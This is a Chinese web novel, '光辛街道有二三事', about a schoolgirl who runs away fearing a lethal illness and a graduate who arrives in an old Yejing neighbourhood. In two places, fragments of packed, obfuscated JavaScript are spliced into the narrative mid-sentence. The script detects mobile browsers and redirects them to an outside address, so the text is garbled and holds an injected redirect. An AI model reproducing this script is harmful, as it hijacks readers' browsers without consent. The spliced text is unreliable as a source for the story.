《光辛街道有二三事》 1. 在一个雪夜 我好想回家。林雯雯突然想到。 但好像是不行的。 她今天下了晚自习后没有像往常那样回去,反而出现在了这个标着“内有标间”的破旧青年旅社里,像一只野猫那样机警地观察着四周。 她校服的袖子被叠了三折,规整地挽上去一截,但又突兀地被主人拽下来,齐平于小臂的中央。在她手边的背包里,她知道,在那里装着足够吃半周的压缩食物和一套干净的换洗衣服。 她在经历一场蓄谋已久,却仍然匆匆忙忙的离家出走。 这里是位于邺京市南边的老城区。在平日各类官方宣传里,它是保留了邺京在科技大爆炸的二十年间变化的切片标本——翻译一下,就是老楼林立、墙皮脱落却没有刷新涂料,一眼望去就像是开了发黄滤镜,迟早要被拆迁的那种地方。 也正因如此,在消费高昂的邺京,那些便宜的胶囊旅馆、青年旅社才都被开到了这里,堪称离家出走的绝佳落脚处。 林雯雯小心地掀开了自己的袖管,在看到从肩膀一路爬到手肘的黑色纹路后,她像是被针扎中了眼睛一样,立刻闭上了眼,手忙脚乱地把袖管又恢复了原位。 黑色是不是又扩散了?她这么想着,想再看一眼,可捏着袖口的手却怎么都动不了半分了。 她可能是病了,或者是转化了。 她的听觉视觉都比之前敏感了许多,痛觉却大幅度降低。伴随着她越来越频繁出现的幻觉,精神状态也越发不安定。每每当她闭上眼,那种无法压抑的,从内脏到体表都化为一滩凝胶的幻觉就会席卷她的脑海,让她恐慌到夜不能寐。 前些天出现在学校的医生、医疗机器人,还有被装在急救舱里抬走的、大口大口往外吐着黑色□□的同学们纷纷在她的噩梦里粉墨登场。学校不情不愿地停学了,她从宿舍回到了家里,在熟悉的被窝和玩偶环抱下,闭上眼却还是只能看见那些黑色搅作一团,像是长满了眼睛的霉斑。他们傻愣愣地盯着她,看不出形状的嘴一张一合,有泡沫破碎的啵啵声在她耳边不断响起。 【你为什么没有感染?】他们问。 【你为什么不和我们一起?】 【你为什么没有……】 她快吐了。 她赶紧拎起背包,一时不查把那团鼓囊囊的包袱撞在了旁边的年轻人身上,直接把好像在发呆的路过小年轻撞了个踉跄,捂着胳膊欲言又止。 但她此时已经没时间顾虑对方了。 她冲进厕所,扒着洗手台,扣着嗓子想吐,最后还是没能吐出来,却又庆幸于在自己张嘴时,没有夹杂着晶片的黑色□□喷涌而出。 她深吸了口气,在用冷水洗了把脸后,看见镜子里映照出自己自己泛起灰色的眼珠,看见眼珠正当中的瞳孔逐渐扩散,不复之前黑漆漆的圆形。 运气好的话,过一段时间,它应该就会变成一个黑色的空心圆。可如果运气不好…… 噩梦就成真了。 运气不好的情况很简单,是指她感染了一种近期在邺京流行,在新闻里被叫做“裂如莲”的烈性疾病。这种疾病病程极短,潜伏期更是容易和近些年被称为以太化的常见生理现象分不清,可一旦症状发作,病人就会从内脏开始裂开,最终□□片片剥落,就像它的名字所描述的那样。 林雯雯第一次这么希望自己遭遇的是以太化。至少这样她只需要变成一个现今已经被习以为常的特殊群体就可以了。 以太化,以太人类。她暗暗祈祷,又将一捧水扑上了脸,像是想提前粘起自己尚未裂开的脸皮。 以太,是这些年科技爆发的基础。不论是使用什么类型的方法论做学问,人们总是会不自觉地拥有同一种倾向:寻找最为基础,无法再被进一步分割的概念或者元素。在无数的幻想类作品里,这些连是否存在都成问题的基础元素被赋予了同样无以计数的不同性质。可当它真的出现在世界上时,人们却只能发现它最基础的那一种用处。 构成。 它们被认知为极微小的单位,以至于甚至可以吸附在意识这种几乎没有任何物理学质量的“东西”之上,于是生命便从死物中诞生,以将意识活动实体化的研究以太学终于登堂入室,以全新的视角研究由这些互相连接着的小单位所构建出的已知的、未知的万物。 “以太生物”就是由未知走向已知的生物之一。但在他们变得可以被认知之前,他们一般会被认作妖怪、怪物,或者其他的用来形容这种有着异常体质,不稳定新型的奇特生物的名字。 以太生物说是生物,其实也并不是某种特定的种群。他们的本能让他们在如地下种子一般蛰伏着的胎儿期就去模仿其他生物的生理构造,混入它们的族群,装作幼崽接受社会化,最后成长为其中无比普通的一员,再繁衍后代,将自己的基因病毒一样混入其中。 但只要属于以太生物的基因被激活了,那就会引起一系列的,从外貌到内里的变化,这一过程被称为“以太化”。 人类自然是会被模仿的生物之一。 模仿了人类的以太生物,就与人类留下了带有以太生物基因的后代。这些后代虽然看起来与普通人无二,但是却携带着以太化的基因,他们便被叫做以太人类。 至于要问具体有多少人是以太人类的话,那就更无从考证了。在人类的历史里,隐藏了太多一生都没能以太化的以太人类。他们留下了带有这一基因的后代,而后代又留下了更多的后代。一代复一代,这些或许已经以太化了,或许一辈子都没有以太化的“人类”,就彻底融入了社会。 换句话说,以太化后自然需要遵守更严苛的管理条例,这并不是什么会毁人一生的情况,也因此,它才会是那个“运气好的情况”。 她最后又用水擦了擦嘴,刚转身出门,就发现之前被自己的包打了的年轻人正有些局促地在门外等她。 他是个清秀的年轻人,看着面善,会让人不禁想问路。即使是挨了林雯雯一包,他投来的目光也是探究多于生气。 林雯雯一下就愧疚了。她刚想道歉,却一瞬间汗毛倒竖,吓得转身就跑,更是顾不得身后情况,只知道埋头跑到自己的房间门口才停下脚步。她抖着手想开门,但不论戳了几次漂浮在面前的屏幕,都没能找到能与房门相匹配的钥匙。 她这才惊觉这家青旅因为过于老旧而根本没有配置模块化的钥匙,前台给的实体钥匙不在兜里,可能是被她随手放进了背包。 可背包现在也已经不知去向。 她又摸了一遍衣兜,未果,恐惧便一下压垮了她最后一丝神经。她脱力地蹲在了门口,把头埋进胳膊里,努力平复着疯狂的心跳。 应该没追上来吧?也是,没有人会没事追一个陌生人的。她自我安慰。 她抱住自己,想起刚才见到的那个东西就止不住的战栗。她的脸上一片湿漉漉的,头发黏黏地沾在脸颊上,那并不是什么好受的感觉,却是此时她心中恐惧的绝佳具象化。 那是什么?为什么我会看见那种东西……那真的是应该存在的…… 她的肩膀突然被人轻轻地推了推。 是楼下那个年轻人。 林雯雯其实没道理怕他。这个年轻人看起来人畜无害,对人态度大概应该挺友善——他甚至提来了她掉了的背包!明显他只是一个普通路过的好心人。 可是,普通的好心人的身后是不会出现那种凝结起来,像是张开的嘴一般形状的黑雾的。 那绝对不是幻觉。因为每当她注视着那张巨口,一种对死亡的恐惧就会席卷她的心头。 别人难道看不到吗?她哆嗦着直纳闷。 那个年轻人却对此浑然不觉。他拎着那个标着“邺京大学附属高级中学”的背包,轻声说:“那个……你的包落在厕所门口了……” 他看着林雯雯像防贼一样抢过背包的样子,肉眼可见地愣了一下,有足足几秒没有反应。 但他最后还是犹豫着问道:“你,你没事吧?” 林雯雯睁圆了眼睛看他,没有吭声。 年轻人好像是以为自己吓到她了,又是一哽。 他有些笨拙地蹲下来,让自己没有任何居高临下的姿态:“别害怕别害怕!我没有恶意!只是……” 我怕的不是你啊! 她看到那张嘴几乎就贴在那个年轻人身后。它蠕动着,扩张着,像是绞作一团的千万牙齿。 他们就这样一起沉默了。空气里只剩下了嘎吱嘎吱,不知道什么在被咀嚼着的声音。 这寂静并没有持续多久。那年轻人刚开口说:“如果你遇到了……”,林雯雯终于找回了腿部的力量,一下子就爬了起来。 她双手紧紧地抱着包,摇头,一句话都没能说出来,就头也不回地跑出了青年旅社,躲在了街角。 她受到了极度的惊吓,就只能背靠着冰冷的墙面大口喘气。 随着情绪的起伏,她感觉胳膊上的黑色纹路开始发热,而在这种诡异的热度之下,她才意识到自己没有穿外套就跑了出来。在已经冰天雪地的邺京,她只穿着一身单衣。 她抖了一下,心里忐忑。 那个人是谁?为什么他背后会有那种恐怖的东西? 那是被他控制的吗?他要做什么? 她越想越不安,下意识打开了终端想报警,却在看到那几十个来自父亲和母亲的未接来电时又手一抖,关掉了那个浮空的界面。 你已经快成年了,她对自己说,很多人在你这个年纪都已经能独立在现代社会生存下来了。 你绝对不可以回家,在他们面前吐出一滩一滩的黑色粘液。这种高传染性的污物会浸润家里带着木头纹路的地板,溅射在干净的餐桌上,死亡的腥味与悲痛的臭味将在原本温暖的小家里不住扩散。 直至空无一人。 她突然哽咽了,内心祈祷着那个陌生人能赶紧离开。 尤其现在还开始下雪了。 她看着那一颗颗从空中落下的白点,搓了搓手,才发现自己的手脚竟然已经冻僵了。 邺京的冬天冷得远超她的想象。 她颤巍巍地把手伸进包里,绝望地发现自己的包里没有第二件外套,却也在无意间摸到了一杯刚才前台小姐带着过分热切的笑容送给她的自热咖啡。 她摸出那杯号称是旅店自制的咖啡,轻轻拉开杯口,就看到一阵带着咖啡浓香的淡淡热气从杯中翻腾而上,融化了从空中缓缓落下的几颗粉雪。 爸爸妈妈现在该吃饭了吧?她突兀地想到。 再过半个月就是冬至了,也就是所谓的小年夜……妈妈会准备什么?荔枝肉?羊肉糕?边角料会喂给可可吗?它一直很喜欢羊肉味的东西…… 她赶紧用力晃晃头,把这些想法甩出了脑袋,准备喝几口热的,让身子也暖一暖。 可好巧不巧,她刚把杯子凑到嘴边,就感到自己的小腿被什么高速冲来的东西猛撞了一下。 那是结结实实的一撞。她脚一滑,无法保持平衡,差点摔倒在结了一层冰的地面。幸好她眼疾手快,一把抓住了身边的扶手,才勉强站稳,却还是手一抖,那杯刚开了口的咖啡被全都扣进了雪地里。 看着她脚边的雪逐渐被染成深棕色,她悲愤地低下头,满腔愤慨却在看到一只正摇着尾巴,扒拉她运动鞋的小黑狗后烟消云散了。 那只小黑狗看起来皮毛光滑,不像是流浪狗。但她转头望去,却没有看到应该跟在小狗身边不远处的主人。 林雯雯喜欢狗,甚至在她现在回不去的家里也养了狗,此时她更是生出一种同病相怜的感情。 基于小狗的颜色和体温,这对她而言可以说是物理意义上的雪中送炭。 她蹲下来摸了摸小狗的脑袋,问:“你也离家出走了吗?” 它的毛有些扎手,却十足温暖,林雯雯没忍住,多揉了它几下。 “可怜的小家伙。”她喃喃自语。 小狗听不懂她在说什么。它只是睁着滴流圆的小眼睛,伸出自己还带着点雪花的小爪子搭在她的膝盖上,用自己湿润的小鼻子去拱林雯雯的手。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14265373|151684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她这才发现小狗长着滑稽的白肚皮和白屁股。只有一条黑色的小尾巴突兀地立在白白的屁股上,正一晃一晃的,像是在问她发生什么了?为什么要在这样的雪天里蹲在屋外? 她本想微笑,可从手边传来的熟悉温度却像是某种强味的调料。她鼻头一酸,眼泪不自觉间就啪嗒啪嗒地落在了被咖啡染成棕色的雪地上。 “我,我好想家啊……”她抽泣道,感觉到那温热的小身子往自己怀里凑了凑。 那太温暖、太柔软了,她把小狗抱得紧了点。 “但是,如果我真的生了病……我肯定会传染给爸爸妈妈的……我不想,我不想让他们因为我,也生那种奇怪的病……” 她的眼前一片模糊,房屋街道被拉长,像鬼影般摇曳。她突然希望这只是冰凉的梦境,可她又能感到脸上传来的一点湿润粗糙却温暖的触感。 小狗在舔着她的脸,努力舔掉她落下的眼泪,于是她这才真的哭了起来,温热的泪水流到衣领上方才变得冰冷,却仍继续落下,直到融化了她脚底的冰雪,与那些咖色的液体混作一团。 不知道过了多久,直到她眼睛都哭得发痛,湿润的皮肤在寒风下起了一层皮,小黑狗都一直陪在她身边,像是一团温顺的小火苗。 在小狗的粗糙的舌头又一次舔过她手背上的泪水时,林雯雯才突然觉得这么哭下去实在是没有意思。于是她一手擦着模糊的眼角,一手揉揉小狗的脑袋,破涕为笑:“好啦,我知道了。既然选择了,我就不该哭了,想想之后……啊!” 她被吓得跌坐在了雪中,从雪地里突兀生长出的黑色尖刺差点划破她的手。 是那些咖啡在接触了她的□□后产生的反应。 她惊叫一声,赶紧站了起来,这才发现那一整片的白雪此时都已经被血管状发散的黑色结晶所覆盖。 它们在阴沉的天空下折射着不祥的光,像是拔地而起的尖刀。 如果这些咖啡刚才没有落入雪里,而是被自己喝下了肚…… 她遍体生寒,随即拉开了青旅的后门,一头又扎了回去。 她正想高呼,让大家都不要喝那可疑的咖啡,才发现青年旅社那不大的大堂里此时已经挤满了警察。而那些原本在柜台后的工作人员们都被带上了手铐,正在协警机器人的指引下垂头丧气地被带离现场。 不是?这是怎么回事! 她这一闯入倒像是往火盆里丢了块冰块,本来还充满了询问和狡辩声的大厅里顿时一片寂静,大家的目光不由自主都落到了这个大呼小叫,明显不属于这里的高中生身上。有的沉不住气的还气得用力拍被抓着的犯罪嫌疑人后背:“你们作孽哦!卖药之余还拐卖?!”,惊起此起彼伏的“冤枉啊!这真和我们没关系!” 但也有机敏的警察一下核对出了她的身份。他拉住了林雯雯,急迫道:“林雯雯?这么巧!现在这种乱的要死情况你个小孩子还到处乱逛什么!走快跟我回局里!你家里都急疯了,正在公安局闹……” “我不回去!”小姑娘爆发出了尖叫,她自暴自弃地拉起了袖子。 “我生病了!我不能回去!你也别拉着我,不然你也会被我传染的……” 她胳膊上那形状可怖的黑色纹路也是吓了那警察一跳。他的手下意识地一松,就像是被蜈蚣蛰了一下。 林雯雯看准机会正想跑,就听见从后门处传来一声怒气冲冲的犬鸣。 她回过头,就看见那只刚才还依偎着她的小黑狗正堵在门口。它一反之前乖巧的样子,压低了身子,露出一口雪白的牙,从喉咙里发出预示攻击的呼噜声。 也就是这几声犬吠唤醒了来找人的警察。他又拉住了迟疑着的林雯雯,像是怕她又跑了一样,再次劝道:“诶,小姑娘你现在不还没犯病嘛!这时候再不去医院就晚了!而且万一只是以太化呢?你要是留在这里,那才是危险……” 她又听旁边有人说:“小姑娘你可不知道,这里是个毒窝啊!就这些个,这里的工作人员有一个算一个都不干净。你要是在这里住久了,吃了他们给的东西,那才危险!这样,你先别急,你跟我们走,先见见你爸妈……” 他剩下的话林雯雯都没再听进去了。她只觉得自己大脑里一片空白。 毒窝?吃的喝的? 她看了看那一群穿着员工制服的嫌疑人,想起了那杯倒在雪地里的咖啡,从中生长出的黑色晶体,以及当时前台小姐那没有笑意的眼睛。 那我现在,应该…… 好巧不巧,她的终端发出了“叮”的一声,竟是收到了来自周围的陌生人的消息。 【你放心地回去吧。】 回去?我怎么可能放心地回去?林雯雯看着屏幕上显示的“对方正在输入中”只感到一阵好笑。 就算这里待不了了,我也不能回去。我不能就这么带着病…… 【你没病。你只是以太化了。】 【先回去看看吧?如果你真的没有生病,那你不也不用离家出走了吗?】 这不可谓不是一个极有诱惑力的可能性。她本就不愿意离开家,四处飘零,只是担心自己感染了恶疾,从而连累家人。 如果真的是这样…… 她颤着手刚想回复,就看到屏幕上又出现了一句【是小狗告诉我的。你信不过我,总不会信不过它吧】。 林雯雯一愣。虽然她不知道是信任一个可能是素未谋面的人更不靠谱,还是信任一只奇怪的狗更不靠谱,总之她却再不挣扎了。 所幸,医院的测试结果是好的——她单纯是以太化了,并没有患上任何可怖的疾病。她就这样被急疯了的父母抱在怀里,事件也终于有了一个圆满的结局。 当她再次想起那个发来消息的好心人,并且试着去联系他表达感激时,她几乎是毫不费力就搜到了他的名片。 光辛街道街道居委会办事员 王睦友 那分明是被那张巨口跟随的年轻人。 而不管她怎么尝试给对方写感谢信,她的终端却都只会显示“不存在此收信人”。 2. 还是从夏天说起吧 王睦友坐在空间狭小的卡座上,面前的餐桌上放着半碗酱油色的面汤和一个空碟。 面汤里原本下的是阳春面,空碟上放的原本是炸大排。这些东西现在都已经在他的肚子里了,他却紧张得想把它们吐出来。 这里是邺京市岩鑫区光辛街道的一家小餐馆。王睦友并不能确定这家餐馆叫什么,姑且就用小餐馆门上不亮了的荧光招牌上的名字,叫这里光辛饭店好了。 而现在让他感到紧张的,就是这家饭馆里过于热情的服务员。 三伏天的下午两点正是邺京太阳最毒辣的时间。但随着阳光变得强烈,人们吃午饭的欲望开始消退,光辛饭店此时除了他没有别的客人,店里安静到只剩下老式空调制冷的咔哒声。 服务员得了闲,就像只在落水者身边打转的鲨鱼那样跃跃欲试。直到她的客人在忐忑间吃完了午餐,她才过来问道:“看你面生,不是这边的邻居吧?怎么想着大热天来这儿的?” 王睦友正在擦嘴,一下就被她这自来熟的问话吓得餐巾纸都掉在了桌上。 “啊?啊。”他僵硬地点点头,一边捡起餐巾纸,一边反问了个他自己都觉得蠢的问题,“我的确不是这边的人。这,有这么明显吗?” 服务员点点头,指了指他的箱子。 “这不明显吗?” 这服务员是个和王睦友年纪差不多的年轻姑娘,二十来岁,一头黑发扎了个便于干活的丸子头,生机勃勃得像一棵抽条的树。在邺京均温39度的夏季——当然,房间里固然因为空调的存在而保持凉爽,可她在短袖外加了一件洗得变形的长袖卫衣,还穿着运动短裤配大拖鞋的打扮还是足够奇怪了,上下身看起来就不像是一个季节。 一刻钟前,在王睦友顶着大太阳走进饭店时,他好巧不巧地踩着午餐高峰期的尾巴。 也因此餐馆的生意非常好,只有四五张小饭桌的就餐区等了七八个等着拿餐的外卖机器人。店里打包餐食的机器动作有些卡顿,那个服务员就在旁边帮忙。 她虽然手头忙碌,大概是没法招待这个堂食的客人,但是却用吓了王睦友一跳的音量喊:“随便坐,店看着老,但终端连上地址就可以点餐了!” 这一嗓子喊出来,引得王睦友下意识唯唯诺诺“好好好,了解了”,也不知道那个大嗓门的姑娘听没听见。 他迅速地看了那个正在打包的机器人几眼,一下判断出这打包主力的机器人是在这个科技变革的时代之前做的“老物件”了。而这机器人跟不上时代的境遇,让他对这个餐馆不由有了一丝同病相怜的好感。 在极速变革的时代,毕业即失业的人并不少。很可惜的是,王睦友就是其中之一。 “呃,其实,我不算是纯粹的外地人。”他支支吾吾,“我是在邺京出生的,只不过两三岁的时候搬家走了。搬去椋州了。” “椋州啊,那不远,两小时就到了。“服务员点点头,了然道,"邺京这边的短途旅行首选。” “不过你那么小就搬走了?到现在也得二十年了吧?”她继续八卦地问。 “嗯,那会我爸不在了。我妈想离开这个伤心地,重新开始生活,我们就搬走了。” 服务员一看王睦友有讲故事的闲心,赶紧接了杯茶水,端着它踏踏地踩着拖鞋过来坐到桌边,一副准备就着谈话下茶的样子。 邺京人都喜欢聊天,尤其愿意和萍水相逢的陌生人闲聊天。对着完全的陌生人,这群在熟人面前死要脸面的小市民反倒更能够吐出些平日里憋着的牢骚话,听听别人的烦恼也会让他们的八卦欲得到满足。很明显,这服务员就是这样一个典型的邺京人。 王睦友性格算不上特别腼腆,但在人生地不熟的邺京面对过于热心八卦的陌生人,他多少还是感到紧张。 于是他只是点了点头,继续用余光数着红汤上漂浮的油花。 服务员把茶杯搁在桌上,掰了掰手指头。 “诶哟,那你这正好错过了邺京发展的高速期呢。诶?你既然是邺京出生的,在邺京应该也是有房产的吧?赚翻了吧?”她自来熟地用手肘捅了下王睦友。 看到后者浑身触电一样一哆嗦,她才意识到自己的行为可能越过了常规的社交距离,连连道歉。 “……房产在我们搬家前就卖掉了。”王睦友小声说了一句,然后报了个地名,“我家原本就住在那里。那个地方现在好像发展很不错。” 服务员小姑娘听到那个地名后,同情地看着王睦友。 “你说的那个地,在邺江北堤那边了。现在是商圈密集的地方,那你们这亏得可真不少。我们这儿就有街坊在那儿原本有房子,诶呀,十多年前那会赚得……大半个街道都眼红吧。” 她又想安慰性地拍拍王睦友,但在看到他明显地一缩后,就作罢了,干脆自发拿起王睦友喝空的水壶,说茶水免费,她再去帮他倒点。 “大夏天的,你等会还要在外面赶路,要是中暑了可糟糕了。”她一合水壶的盖,转过身来,“不过你们是怎么想的啊,怎么就想到把房子卖了的?我记得我小时候,邺京就被规划成了使用新以太科技的重点城市啊。这不是明摆着房产能升值吗?” 王睦友心说你从结果往前推原因那肯定是好推,但还是没把这话说出来。 他接过杯子跟服务员道谢:“当时家里压根没想着之后还要回来吧。就一不做二不休把房子卖了。” “那你现在怎么又来了呢?” 这问得王睦友语塞。 他想了半天,才慢吞吞地说:“其实吧,是我舅爷看我毕业后,嗯,时间比较充裕。就让我来帮他的忙,先做点事情,而且邺京机会比较多,就……” “……你不会大学的专业是传统科技领域吧?” 王睦友沉痛地点了点头,绝望地补充了一句:“当时不是说传统科技领域一时半会还不会彻底淘汰嘛,就图个稳当。结果没想到四年过去……嗯,我的学府也一般,我也不算学得特别好的……”。 他说话声音越来越小,最后小得几乎他自己都听不见了。 服务员也就沉默地看着他。男默女泪下,服务员指了指他手上那个形状不定,又几乎没有重量的保温杯。 “想开点,好歹以太科技让我们能用上这种违背传统物理法则的东西了。” 她见这安慰比较苍白,又赶紧挑了个大拇指:“你舅爷是好人啊!还愿意帮你找点工作!” “可是他今天说会去邺京西站接我,现在我却怎么都联系不上他了。” 服务员又愣住了。她慌忙看了一圈周围,最后盯住了王睦友还剩半碗面汤的碗。 犹豫再三,像是做足了心理工作,她咬牙切齿地问:“你想再续份面吗?” “这就不用了,我大概吃得挺饱的……” “……大排也破例给你续一块。” “再来一份!谢谢!” 是了,自己那不靠谱的舅爷。王睦友在心里默默吐槽。 他刚下列车,就在接连跳出来的“欢迎来到邺京,希望您在邺京市旅游局下属游客引导 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她一拍手:“诶呀!这多巧!我和吉老爷子可熟了,我就是他看着长大的!他之前就和我说等着你来呢!还让我下次见到你要照顾一下……诶对了!一直忘了!自我介绍一下,我叫裘诺,以后我们还要常见面的。” 她过于热情地和王睦友握手。 “这太巧了!没想到我们会在这种情景下认识!” 王睦友非常不擅长应对裘诺这种性格奔放的人。他赔着笑,在抽出手后怯怯地给她鼓鼓掌:“啊真的巧,真的巧……那个,那么,我也只是一说哈,这个,那,既然都是熟人,”他突然心思一动,瞥到桌边的老式账单,脸一下红了,“那个这个,这次这个面,它能不能打点折。那个,实不相瞒,我实在是有点囊中……“ “说什么呢你?我们小本生意,一打折本都收不回来!本店概不打折!” 王睦友讪讪地低下头继续扒拉面条,裘诺却好像不觉得气氛有什么不对劲,反而兴趣盎然地跟他介绍起了光辛街道。可惜她语速太快,语气也过于兴奋,王睦友根本没能记住多少,只是对新生活又多了一丝的踌躇。 街道邻里邻居的都这么热情的话,就算之后留在这里的街道工作,我可能也不会太适应吧。他有些忧虑。 但说对舅爷一直念叨着自己这件事不感动,那肯定是假的。 王睦友心想舅爷还是对自己很上心的,虽然他可能忘了自己应该今天到达,也忘了去车站接他,但这肯定是因为他有什么急事分不开身才不回消息的。正当王睦友准备反省自己对舅爷的恶意揣测时,他就看见本来说得正欢的裘诺突然动作一滞,随即脸上露出了迷惑的神情。 “诶?不对啊?吉老爷子,我没记错的话,他这两天跟着老年旅游团去椋州旅游了,今天好像还不是归程日…… 他不会是去椋州的车站找你去了吧?” 3. 就这样暂居一夜 邺京的下班潮,概括的是从下午五点一直到晚上九点的时间段。 当然不可否认,也有许多需要加班到深夜,甚至第二天清晨的社畜存在。但至少对于收拾好厨房的裘诺而言,她算是下班了。 她伸了个懒腰,关节噼啪作响。可现在离彻底休息还有一些工作,她理了把头发,关掉了刚才一直在打扫堂食区的机器人。 “嘿!” 她在眼神空洞,不知道在想什么的王睦友眼前伸出手晃了一下,“你还好吗?” 王睦友浑身一激灵,嘴里念叨着“啊?啊?哦。”地回过神,最后定格在了一个表达没听清对方说啥的“啊?”上。 裘诺叹了口气,也不觉得什么,只是问:“怎么样?联系上了吗?” 在看到对方摇头后,她又叹了口气。 “我想也是。”她说,“那要不今天你就在我家凑合一下,等吉老爷子明天回来……” “啊!那就不用了!”王睦友赶紧打断她的话,连连摆手。 “你愿意让我待到现在就不错!实际上我自己出去找旅馆也没,退一万步说,也不应该住到你家里去……” “那让你住在店里我更不放心啊!” 裘诺用力拍了他一下。虽然年纪不大,但独自经营餐厅的老板娘手劲是真大。王睦友被拍得一哆嗦,就听见她说:“你要是有钱住旅馆,还至于纠结到现在?别再按价格最低排序了!加载符都快被你戳掉色了!” 她这话说中了王睦友的心事。贫穷的应届毕业生有些不好意思地摸了摸鼻子,但还想最后挣扎一下:“不不不,其实住一晚上也还……” “是因为刚刚听见的话吗?” 王睦友不吱声了。裘诺看起来大大咧咧,心倒是意外得细。但被看穿了心思,对要脸面的年轻人而言多少还是件丢人的事。他纠结了一下,小声反驳道:“其实,也不尽然……” “那就别在意了。”裘诺拉过了他的箱子,安慰他,“你对这边的居民来说,毕竟算是陌生人,他们对你肯定有点戒心。而且就像你说的,我们今天前素未谋面……”她比划了一下,“所以就担心我了吧。周姐人是很好的,等之后你住久了,和大家熟悉起来……别这么愁眉苦脸嘛,来,笑一个?” 王睦友努力扯了扯嘴角,笑得比哭还难看,引起裘诺又一声叹息。 事情的起因还是在那个可能记错了好侄孙拜访日期的吉老爷子身上。 吉老爷子的电话在裘诺和王睦友一下午的不懈努力下,始终是没能打通。前一天晚上还特意发消息给裘诺,告诉她自己回来坐的列车号的干瘪小老头仿佛一夜之间人间蒸发,只剩下每次都从终端里传出的,机械的“该账号暂时无法接通,请稍后再拨。” 和吉老爷子一起人间蒸发的,还有王睦友蹭个浴室洗个澡,舒舒服服在床上睡一觉,再正式开始新生活的美梦。 裘诺显然很想安慰他,但是让他们终于放弃拨打电话的是邺京下班潮的开始。 光辛饭馆毕竟在这条街道开了二十多年,它褪色的招牌在光辛街道街坊们的心里就是安心的保证。 无所事事的老街坊们愿意照顾看着长大的小姑娘的生意,想起来了就来随手给晚饭加一道不贵的菜;懒得自己做饭的新邻居看中饭馆价格公道,出品稳定,不管是在家动动手指订外卖,或者回家路上提一份的人都不少;而对忙得脚不沾地的打工人更不必多说了,光辛饭店随时提供热乎乎的现做盒饭,多种配菜任人选择,即来即拿,拿完就走,绝不多耽误一点时间。 种种原因共同作用之下,这个外表看起来老旧到随时会和光辛街道一起消亡的小饭店居然运营得相当顺利,到了饭点食客总是络绎不绝。虽然现在的厨房已经高度自动化,但是出于对调味的考虑,以及打包机器人卡顿的动作,裘诺这个年轻的老板娘并不能在忙碌的下班潮做一个甩手掌柜。 所以到最后,裘诺能帮王睦友做的也就是在挂断了当天最后一个没能接通的电话后,用三秒钟向他承诺“没地方去就来我家住一晚上吧。”,然后再给这个失去希望的大学生的晚饭打了个九点五折。 王睦友当时正搜索着附近街道有没有价格低廉一点的连锁旅馆。但搜索了一圈后,他默默地打开了天气预报,盘算起在今天这个有雷阵雨的夜晚,自己的身体素质适不适合睡大街。 裘诺的承诺让他噎了一下,硬是喝了一大杯放凉了的茶才缓回来。 他还没开口,站在裘诺旁边,一个手里拉着小孩,正在等餐的女性顾客就皱起了眉头。 “裘老板啊,”她瞥了王睦友一眼,神情警惕,“你认识他吗?这人面生得很啊。” 裘诺一看这是引起熟人街坊的警觉了,就赶紧帮王睦友作证:“这位是居委会的吉老爷子的侄孙,是来投奔他的。周姐啊,你不也和吉老爷子挺熟吗?吉老爷子和我说过这个小伙子的,是个很靠谱很正经的人。” 这个被称为周姐的顾客又飞速看了王睦友几眼,转过头拉了一把裘诺的左手小臂。 裘诺浑身一抖,下意识瞥了几眼袖管,正想不动声色地挣脱出来时,对方就语重心长地说道:“裘老板啊,我知道你热心肠,但也不能把来路不明的人带进家门,不管他看起来多可怜都不可以。我跟你说,现在利用别人同情心的坏人可多了,万一出点什么……” 她没说下去,但是话里话外暗示的意思已经很明显了。 这太过分了!怎么能这样当面恶意揣测别人呢! 王睦友被这么不友好地当面戳脊梁骨,不可避免地有些生气。但一方面他也知道对方说得在理,另一方面实在人生地不熟,弱小可怜无助之下不宜多争辩,情绪拉扯间,也就只能尴尬地咳嗽一声,来向对方提示自己的存在。 要揣测好歹也背着我啊! 拉着裘诺的是个大约三十来岁的女顾客,穿了一身硬挺的西装。在这个下班潮即将结束的时间点,她看起来仍然精力充沛,完全没有结束了一天工作还带着孩子的劳碌气色。 这一定是那种铁血的女强人了。王睦友心里下了个结论,又把打量的目光悄悄投向了她身边,对大人的谈话无知无觉的孩子。 那个小男孩看起来也就五岁左右,穿着软乎乎的蓝白运动裤和同色系的上衣。他一手由妈妈牵着,一手正在空气里写写画画,好像在用空气蜡笔做空气涂鸦。 真是好一副和谐的下班妈妈带孩子的场景,王睦友想。 如果不是对方正在当面说自己坏话的话。 不知道是不是听见了王睦友内心的牢骚,正当他想移开视线时,刚才还低着头自己玩自己的就转过了头,和王睦友正要移开的目光撞了个正着。 不同于王睦友慌乱的神情,他只是好奇地望着这个陌生人,随后露出了一个傻乎乎的笑脸。 一大片黑色的花纹顷刻间爬满了他的脸庞。 王睦友吓得差点从椅子上摔下去。 “以,以,以太生……”他结结巴巴。 这边他的脑子还发着懵没来得及叫出来,那边的小孩倒先一愣。他嘴巴一瘪,翻脸如翻书就被吓得是放声大哭。 周姐本来正在和裘诺拿她订的餐食,听到这动静立刻像护崽的熊妈妈那样,也顾不得来龙去脉,第一反应就是把小孩拦在自己身后,瞪视着王睦友。 她怒气冲冲,正要斥责,一旁裘诺就连忙出来缓和气氛。 “啊哈哈,被我们的阅阅吓到了吧?” 她干笑着快步走出柜台,走到大哭不止的小男孩面前,蹲下,在他眼前打了个响指。 “啪”的一声,阅阅被她的响指所吸引,好奇地盯着她的手指尖,就好像那里能开出花来一样。 “阅阅不哭不哭,来,姐姐给你放个烟花。” 她又搓了几个响指,还口头配上了烟花散开的噼里啪啦声。 